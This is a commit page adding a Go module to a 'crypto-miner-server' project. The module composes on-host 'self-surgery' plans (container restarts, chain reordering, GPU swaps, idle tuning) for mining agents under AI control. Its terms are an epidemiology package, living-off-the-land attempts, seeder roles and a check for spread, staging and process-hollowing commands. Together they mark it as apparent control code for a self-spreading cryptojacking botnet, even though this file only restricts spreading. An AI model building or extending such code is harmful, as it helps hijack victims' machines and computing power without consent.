Add mining self-surgery for on-host recovery when AI control detects stalls.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
This commit is contained in:
199
server/internal/miningsurgery/plan.go
Normal file
199
server/internal/miningsurgery/plan.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package miningsurgery
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/epidemiology"
|
||||
)
|
||||
|
||||
// Action is one on-host mining fix (no spread/lateral).
|
||||
type Action string
|
||||
|
||||
const (
|
||||
ActionContainerRestart Action = "container_restart"
|
||||
ActionFallbackReorder Action = "fallback_chain_reorder"
|
||||
ActionGPUSubprocessSwap Action = "gpu_subprocess_swap"
|
||||
ActionIdleThresholdTune Action = "idle_threshold_tune"
|
||||
ActionRandomXRestart Action = "randomx_restart"
|
||||
)
|
||||
|
||||
// DefaultLowHashrateHPS is the hashrate ceiling for low-hashrate self-surgery.
|
||||
const DefaultLowHashrateHPS = 1.0
|
||||
|
||||
// Plan is the server-composed mining self-surgery payload for one agent.
|
||||
type Plan struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Reason string `json:"reason"`
|
||||
Trigger string `json:"trigger"`
|
||||
Actions []Action `json:"actions"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
SkipMethods []string `json:"skip_methods,omitempty"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct,omitempty"`
|
||||
}
|
||||
|
||||
// ComposeFromInterrupt builds a mining-only plan from an epidemiology interrupt snapshot.
|
||||
func ComposeFromInterrupt(state epidemiology.MiningInterruptState, idleThresholdPct int) Plan {
|
||||
plan := Plan{
|
||||
AgentID: state.AgentID,
|
||||
Trigger: "mining_interrupt",
|
||||
Reason: "mining self-surgery: recover interrupted cascade on same host",
|
||||
}
|
||||
if idleThresholdPct <= 0 {
|
||||
idleThresholdPct = 20
|
||||
}
|
||||
|
||||
failed := failedMethodSet(state)
|
||||
if failed["container"] || failed["docker_load"] {
|
||||
plan.Actions = append(plan.Actions, ActionContainerRestart)
|
||||
}
|
||||
if state.ChainExhausted || len(failed) > 0 || len(state.FailedMethods) > 0 {
|
||||
plan.Actions = append(plan.Actions, ActionFallbackReorder)
|
||||
plan.ChainOrder = reorderChainFromState(state)
|
||||
plan.SkipMethods = skipMethodsFromState(state)
|
||||
}
|
||||
if failed["gpu_subprocess"] {
|
||||
plan.Actions = append(plan.Actions, ActionGPUSubprocessSwap)
|
||||
}
|
||||
if strings.TrimSpace(state.ActiveMethod) == "inprocess" || state.ChainExhausted {
|
||||
plan.Actions = append(plan.Actions, ActionRandomXRestart)
|
||||
}
|
||||
plan.Actions = dedupeActions(plan.Actions)
|
||||
if len(plan.Actions) == 0 {
|
||||
plan.Actions = []Action{ActionRandomXRestart}
|
||||
}
|
||||
return plan
|
||||
}
|
||||
|
||||
// ComposeFromLowHashrate builds a plan when hashing is active but below threshold.
|
||||
func ComposeFromLowHashrate(agentID, activeMethod string, hashrate float64, idleThresholdPct int) Plan {
|
||||
if idleThresholdPct <= 0 {
|
||||
idleThresholdPct = 20
|
||||
}
|
||||
tuned := idleThresholdPct + 10
|
||||
if tuned > 80 {
|
||||
tuned = 80
|
||||
}
|
||||
plan := Plan{
|
||||
AgentID: agentID,
|
||||
Trigger: "low_hashrate",
|
||||
Reason: "mining self-surgery: low hashrate recovery on same host",
|
||||
IdleThresholdPct: tuned,
|
||||
}
|
||||
if strings.TrimSpace(activeMethod) == "container" || strings.TrimSpace(activeMethod) == "docker_load" {
|
||||
plan.Actions = append(plan.Actions, ActionContainerRestart)
|
||||
}
|
||||
if strings.TrimSpace(activeMethod) == "gpu_subprocess" {
|
||||
plan.Actions = append(plan.Actions, ActionGPUSubprocessSwap)
|
||||
}
|
||||
plan.Actions = append(plan.Actions, ActionIdleThresholdTune, ActionRandomXRestart)
|
||||
plan.Actions = dedupeActions(plan.Actions)
|
||||
return plan
|
||||
}
|
||||
|
||||
// DetectLowHashrate is true when an agent is mining but below the H/s floor.
|
||||
func DetectLowHashrate(stats epidemiology.StatsInput, threshold float64) bool {
|
||||
if strings.TrimSpace(stats.FleetRole) == "seeder" {
|
||||
return false
|
||||
}
|
||||
if threshold <= 0 {
|
||||
threshold = DefaultLowHashrateHPS
|
||||
}
|
||||
hr := stats.MiningHashrate
|
||||
if hr <= 0 {
|
||||
hr = stats.Hashrate15m
|
||||
}
|
||||
if hr <= 0 {
|
||||
hr = stats.GPUHashrate15m
|
||||
}
|
||||
if hr <= 0 || hr >= threshold {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(stats.ActiveMethod) != "" || stats.GPUMinerActive
|
||||
}
|
||||
|
||||
func failedMethodSet(state epidemiology.MiningInterruptState) map[string]bool {
|
||||
out := make(map[string]bool)
|
||||
for _, f := range state.FailedMethods {
|
||||
m := strings.TrimSpace(strings.ToLower(f.Method))
|
||||
if m != "" {
|
||||
out[m] = true
|
||||
}
|
||||
}
|
||||
for _, a := range state.LOTLAttempts {
|
||||
if a.OK {
|
||||
continue
|
||||
}
|
||||
t := strings.TrimSpace(strings.ToLower(a.Tier))
|
||||
if t != "" {
|
||||
out[t] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func skipMethodsFromState(state epidemiology.MiningInterruptState) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
for _, f := range state.FailedMethods {
|
||||
m := strings.TrimSpace(f.Method)
|
||||
if m == "" || seen[m] {
|
||||
continue
|
||||
}
|
||||
seen[m] = true
|
||||
out = append(out, m)
|
||||
}
|
||||
for _, a := range state.LOTLAttempts {
|
||||
if a.OK {
|
||||
continue
|
||||
}
|
||||
t := strings.TrimSpace(a.Tier)
|
||||
if t == "" || seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
out = append(out, t)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func reorderChainFromState(state epidemiology.MiningInterruptState) []string {
|
||||
// Prefer in-process CPU path after failures; keep GPU addon last.
|
||||
base := []string{"inprocess", "container", "wsl", "docker_load", "gpu_subprocess"}
|
||||
skip := failedMethodSet(state)
|
||||
out := make([]string, 0, len(base))
|
||||
for _, m := range base {
|
||||
if skip[m] {
|
||||
continue
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return []string{"inprocess"}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func dedupeActions(in []Action) []Action {
|
||||
seen := make(map[Action]bool, len(in))
|
||||
out := make([]Action, 0, len(in))
|
||||
for _, a := range in {
|
||||
if seen[a] {
|
||||
continue
|
||||
}
|
||||
seen[a] = true
|
||||
out = append(out, a)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ContainsSpreadCommand reports forbidden lateral command types.
|
||||
func ContainsSpreadCommand(types []string) bool {
|
||||
for _, typ := range types {
|
||||
switch strings.TrimSpace(strings.ToLower(typ)) {
|
||||
case "discover_and_join", "discover_join", "spread_now", "spread_graft",
|
||||
"spread_retry_lane", "stage_fetch", "process_hollowing", "hollow":
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
Reference in New Issue
Block a user